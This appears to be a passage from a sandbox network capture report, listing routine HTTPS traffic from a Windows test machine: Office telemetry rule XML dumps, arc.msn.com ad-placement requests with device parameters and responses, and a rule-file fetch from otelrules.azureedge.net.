2024-11-26 00:41:15 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-26 00:41:15 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-26 00:41:15 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-26 00:41:15 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-26 00:41:15 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-26 00:41:15 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-26 00:41:15 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-26 00:41:15 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-26 00:41:15 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-26 00:41:15 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49720	20.223.36.55	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:16 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T004110Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=3d0ccc6b1b8a4920ab20f5c490b46801&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=601583&metered=false&nettype=ethernet&npid=sc-338388&oemName=biqyts%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=biqyts20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=601583&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AATU6fhPXZYVho6a4p4vI2a74EooGr1lAbj7TEsMHWuixhG1doJrKKbt3trAazk79RhlGmjxG7bBJMzqYwbs1bBup/Dn5Wzb6bEjSIzdEBQ3r9jsDQYJP5YdEyLc1FkCdshJwVaqf+2v/wkpd7vfbiw7WBDTCl9nVIuCDTT1fTZGSLBLfeWhqPTpXzhhbTOKdYlchq5NRhYFLBm65xek5qYAnx0jxQvk/6khRtkjdw4MYGvFqJ59NfyJ6cd24DtcqZE732cRR0YGg6qTlkkoqaqSAGUhbBXC3lfimhuCY4NY/YD9QWVTjMhJsBmddSj/6X36mpEAhdqldMJNN7U1t33AQZgAAEBvNTkd/mcb3wd7o5Wq4MPSwAWRAz+m5BN+DDko8id7GfIOI89t3PLk+hasqoAf/gmmnDoNRfv/ut+y+a9bgon2PpYlY6aoqAfT5vS5d3DJLIa6GBDmx+o/nPwm54s73reBh8gQpFF5sa2ylZKEjfM/pTdWwVD2H3fr+oyvciX56p9Wa9l4qidtogKHrlR/jM805tLJYlumZVKFnGiogTqLQ4k86TegobKrA2cbenD2J4xRfuWxiZ6W7isDgWhTUib6Bv1q3dO4hbmWPxmBHGeK2X4sho7x9cv+mAqHb0USImKdwxzojN9x8HXyl2lZQsnQKW67TdX1nigP7Ee9Ktf5LourU/+ZxJE4zuGG8nSIrYC2v0stB3sryAvkqVIRUm56ssqG5g3WBw9SNJZpq3d4Vh7zDeVTUE5wB/vKiYadjg5R1HsSmRb1x8h4Et1CdUt0ITjb5/s+p0GYlI+2Y6QgkGM9md9jMpAW41pRu5VLbzMkYAloCAuYwCBG+Ank04YBNMJAuMuLW34RbI+gLVqs7S2c8PZ47CFVrXUgL6JpixtYqFkcQavGt3hWG+5Dzt0c0vUS2OvSs4beu+zO+oabrgNcB&p= Cache-Control: no-cache MS-CV: oCcyyIRnWUKfQX2e.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-26 00:41:17 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 2299 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: TwI7+TCaPNJrK7c3AWa/fhfjTA6YZoqutmNIyMvSjq+3LYEhB55Qa+d38i8dusE7xFn2/viC8qDs9l0fewlqgEgWzaOQlukVyBIlZxk5hur2KsKVPAeuSvraAq2euJTNcjDvj30DaKMk+mGqIxsPlvXs3yLihwiva/7MSF2vQKaccFjTJo475FvCYZKllTwlF/qNjuAAcriLoz8sWvGkVwUUk2mXVzW8hPhYRv8gQombxmBtNZ4gCLCUxa+QN6XfNkc+ukpXTDNRqJIeteRbMKcrbqvQOAKWEuXZenQ3hwCPou3ymw5bQzHbrD99LQZxXRU+VPZ3z+2jD6pcAuq24w== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 00:41:15 GMT Connection: close
2024-11-26 00:41:17 UTC	2299	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49721	20.223.36.55	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:16 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T004110Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=95e9dc1f615d4ae89fe7379299f1193b&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=601583&metered=false&nettype=ethernet&npid=sc-280815&oemName=biqyts%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=biqyts20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=601583&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUOkDnLpuoVUv9LEyC9W/SLMLOeMnEX1atSoTt6TLad4hOPjHOYiSt8rr8zPSCwkd4GdfQxAfgIFWicjBOriyxFAF4P4Tnh/Sh6C6bEKv99RnDUUNJ2RRxct8mwOXkDbULtBNaHClN9dGo1x5d2o0yROEW9ei+rKZFq0sCLbaJnb1KRLsY+1uCVUlJajzedO14HNnTJyPVF3VosWuQ/qKgyL1PyFyREXYAA3106vzCQmSYShHFF7Jxnzu9BvsrISdHbGllEEHmT1OX0D3G8MJ2oPh3DAtTz8kYufT2mprjfysmADZlL/OuhalyQgBqpc1DipcNflvbhNrkKRi4miQx4QZgAAELHGmkeITw2Xqd9oZrITaXSwAYJpCOxhD04HNyox8lSGDwTrKvhRzhUJqFjUSaB56IwZyVqx1IlM3x1BWdGwJkACQZMlJuzQcHwUrbXiuWk1Y+m3Do0Mpgp6lzPYjTQkdFkaSmNkufZmnJ+QUh2Yv7qNSFlXLvOsfsyZvwX9IJK48WUWv+hvvPD+igb6p4YphnPRpPwJB6yzUkwL30Bh1EUm8agaU3UNPufWJSkzLAXkSd052/HneK75xsj/bW2/WAVDbjZfnphvOG1L8I4/xpZj27QtCaVlOCpgFxwE41iS6UmyapYnUXsgrwxhlYASIcoUCHdytvvQbnpqJO2YstZCp4wumNTstRF/LT7KG3VSR/HEAFqwb1JncwNp9iEbxtn/0rT3qI2oPWDMxndWeaXNDF7Fk5WxBfJwZzI00DfX5IPwNBv3op/Eys5NVlKQ9LuLmfJFBDYtAb8DPJ1S3UqoU5C2iqm+OKILw0rjqZIhGI5Ay13qrmi+q3c+0mdOPto0JTdKgiX5lttJd0cfrHQ+r/4MLu0jEDfXN5h3CSMMsjOOSr8+Y/W8JMQTwYKN1qtILcjGREgaA2ckroBrv6JnEdcB&p= Cache-Control: no-cache MS-CV: oCcyyIRnWUKfQX2e.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-26 00:41:17 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2939 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: BgmS5mIRKnVmOt1HVHjvt3fC7n+N9OM2P6rCd/3DJQfUAyKcpXKAXksad4tgaR4MPm+pNiHvKYkzHx1k0u/64KsSi2oeewntt7lrx+5QpK+ucqh+VSxg7sL9Y2bupaKKa0txNh8ipxMOY2zyjQK4ds7yt4w/cykf3SCl+1cj0HvAR7k24iAkrcxZqgmuZmnz5H3lloCFHlkJ+lJ/upgGiNntNT+b36AT2V28DxLozWVkijUlojdizbLdtPP0rrs6lnynsd0YLy0Ya0hw1JDCocOZ0oXkXdfhlLJI2923gWLeLTU1++eTIhczKpdXgkoX6j1h2Y2z6xOwHGRE1zr8Gw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 00:41:16 GMT Connection: close
2024-11-26 00:41:17 UTC	2939	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:17 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
